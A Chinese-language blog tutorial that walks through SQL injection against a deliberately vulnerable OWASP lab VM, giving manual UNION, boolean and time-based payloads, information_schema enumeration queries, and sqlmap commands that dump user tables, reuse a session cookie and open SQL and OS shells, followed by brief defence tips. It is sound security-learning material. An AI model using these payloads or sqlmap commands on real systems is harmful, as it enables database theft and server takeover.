SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)

 

CONTENTS

1 项目实验环境

2 SQL注入概述

2.1 SQL注入简介

2.2 SQL注入的危害

3 SQL基础回顾

3.1 联合查询union

3.2 information_schema数据库

4 SQL注入流程

5 手动注入流程

5.1 基于错误的注入

5.2 基于时间的盲注

5.3 基于布尔的注入

5.4 基于UNION的注入

6 sqlmap自动化注入

6.1 GET方法注入

6.2 POST方法注入

6.3 提权操作

7 如何防御SQL注入


1 项目实验环境

测试渗透机:kali_linux-2020

链接:https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg 
提取码:32ve

目标靶机:owasp_Broken_Web_Apps

链接:https://pan.baidu.com/s/1CMJ2aERmDGlXXkhUmjDmtA 
提取码:9zsj

2 SQL注入概述

2.1 SQL注入简介

在owasp年度top 10安全问题中,注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

  • 1.对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、 Oracle ;
  • 2.通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
  • 3. SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程;
  • 4.因为SQL注入漏洞造成的严重危害性,所以常年稳居0WASP TOP10的榜首!
     

2.2 SQL注入的危害

  1. 拖库导致用户数据泄漏;
  2. 危害web等应用的安全;
  3. 失去操作系统的控制权;
  4. 用户信息被非法买卖;
  5. 危害企业及国家的安全!

3 SQL基础回顾

现实生产环境中mysql用的居多。对mysql没有基础的童鞋可以参考我这篇文章,简单了解一下mysql(主要了解mysql一些查询语句)。

https://blog.csdn.net/Until_U/article/details/105333489

下面补充一下:owasp的数据库账号:root    密码:owaspbwa

3.1 联合查询union

(1)联合查询常应用在SQL注入中,下面看一个例子,将下面的A和B这两个SQL语句联合,这样就可以执行查询到B里的内容。

A:select user,password from mysql.user;

B:select user_login,user_pass from wordpress.wp_users;

select user,password from mysql.user  union   select user_login,user_pass from wordpress.wp_users;

 

(2)需要注意的是union查询前后字段数必须相同,不一致的话就会报错,e.g.:

select user,password,host from mysql.user  union   select user_login,user_pass from wordpress.wp_user;

(3)判断union前后字段是否一致,可以猜字段数:

select * from dvwa.users union select 1;

select * from dvwa.users union select 1,2;

select * from dvwa.users union select 1,2,3;

select * from dvwa.users union select 1,2,3,4;

select * from dvwa.users union select 1,2,3,4,5;

select * from dvwa.users union select 1,2,3,4,5,6;

猜到之后就可以利用union查询了,多余的字段不想查询可以用数字代替:

select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

3.2 information_schema数据库

mysql中默认有information_schema数据库,这个类似于数据字典,存放数据库中所有的数据库和表及columns等。

这个数据库中我们主要先关注tables和columns这两张表。

(1)查询数据库库名、表名(tables),下面几句SQL语句执行下熟悉下:

select * from information_schema.TABLES\G

select distinct table_schema from information_schema.TABLES;

select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G

select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES group by TABLE_SCHEMA\G

mysql> select TABLE_NAME from information_schema.tables where table_schema='dvwa';  //类似于show tables
+------------+
| TABLE_NAME |
+------------+
| guestbook  |
| users      |
+------------+
 

(2)查询数据库名,表名和字段名 (columns)

select * from information_schema.columns\G
select column_name from information_schema.columns\G
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';

 

4 SQL注入流程

  1. 判断是否有SQL注入漏洞;
  2. 判断操作系统、数据库和web应用的类型;
  3. 获取数据库信息,包括管理员信息及拖库;
  4. 加密信息破解, sqlmap可自动破解;
  5. 提升权限,获得sql-shell、os-shell、 登录应用后台。
     

 

5 手动注入流程

先查看后端代码:可以知道这边查询只有两个字段,然后输出三个字段信息。

5.1 基于错误的注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;

通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。

通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

5.2 基于时间的盲注

利用sleep()函数,检测SQL语句是否执行,如果在执行,说明是存在SQL注入点的。

 select first_name,last_name from dvwa.users where user_id='1' and sleep(5);
Empty set (5.00 sec)


5.3 基于布尔的注入

我们知道原始语句为SELECT first_name, last_name FROM users WHERE user_id = $id。

就可以通过SQL注入语句解析: ' or 1=1 -- '

这样就获取了所有信息,说明一下:

  • 第一个'用于闭合前面的条件
  • or 1=1 为真的条件
  • -- 将注释后面的所有语句

5.4 基于UNION的注入

union利用原始SQL语句进而查询自己想要的信息。一般通过错误和布尔注入点之后,就可以开始通过union语句来获取有效信息。

(1)下面我们应该猜测数据列数,从而才可以将union前后字段匹配(前面讲union说明了猜测的用法,可以回看哦)。

下面直接界面测试,一个一个尝试:

 知道出现以下情况,说明SQL语句中有两个字段:

(2)知道字段数后,就可以获取当前数据库及用户信息。

' union select version(),database() -- '

当前还以查看很多信息了,大可类比,自己动手操作下,好好想!比如:

'union select user,password from users -- '   //查看用户及密码

'union select password,concat(first_name,' ',last_name,' ',user) from users -- '  //利用concat函数将多个字段放在一起

 

6 sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

在本次实验我用的用的是kali自带的sqlmap工具:

 

6.1 GET方法注入

(1)SQLmap参数解析,具体参数可以通过命令  sqlmap -hh  查看(只截取了一部分):

 

(2)我们练习下,首先登录到user info界面。

(3)随便输入一个账号信息,错误的也行。然后复制出错的URL链接。

打开kali,下面看几个示例:

1.查看当前数据库

sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch --current-db

2.查看nowasp下的表

 sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D nowasp --tables

3. 获取表中指定的数据,例如获取mysql数据库中user表中user,password和host所有信息

sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D mysql -T user -C "user,password,host" --dump

比如我知道了WordPress的账号和密码就可以登录上去查看啦:

 

6.2 POST方法注入

(1)下面我们开始注入DVWA这个应用,由于进入DVWA需要账号密码,在加上cookie缓存,再进入DVWA下面其他应用就不需要密码。但是直接注入SQL injection是不可以的,需要加上cookie参数。

 可以尝试直接注入(下面提示你不可注入,你可以尝试风险级别):

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs

提高注入级别,依然没法注入:

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs --level 3 --risk=3


 

 

(2)所以要利用cookie参数,我们先了解下客户机和服务器之间访问的原理,用户访问服务器,输入密码,这样在服务器端就产生session会话信息,保存session ID,对应的用户端产生cookie保存服务器的session。这样客户端在保持会话的时候就不用重复输入密码。可借鉴下图:

(3)下面开始设置cookie参数,我们利用火狐自带的cookie组件:cookie quick manager。

然后打开它,把cookie里的内容作为参数加入命令中:

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" -D "dvwa" -T "users" --columns

 

6.3 提权操作

(1)与数据库交互 --sql-shell

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --sql-shell

(2)与操作系统交互(这个可能因为权限问题没办法登上去)

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --os-shell

7 如何防御SQL注入

根据以上SQL注入的学习,我们应该知道SQL注入的攻击流程,所以我们应该相应的采取一系列措施。

  1. 首先是mysql的安全机制,针对每个库对单独一个用户授权;
  2. 对于单引号' 基于错误的注入,应该给予强制过滤;
  3. 建议在web服务器前加一个WAF防火墙,对SQL注入进行拦截。

今日份打卡,over!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

硬核的无脸man~

你的鼓励是我创作的最大功力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值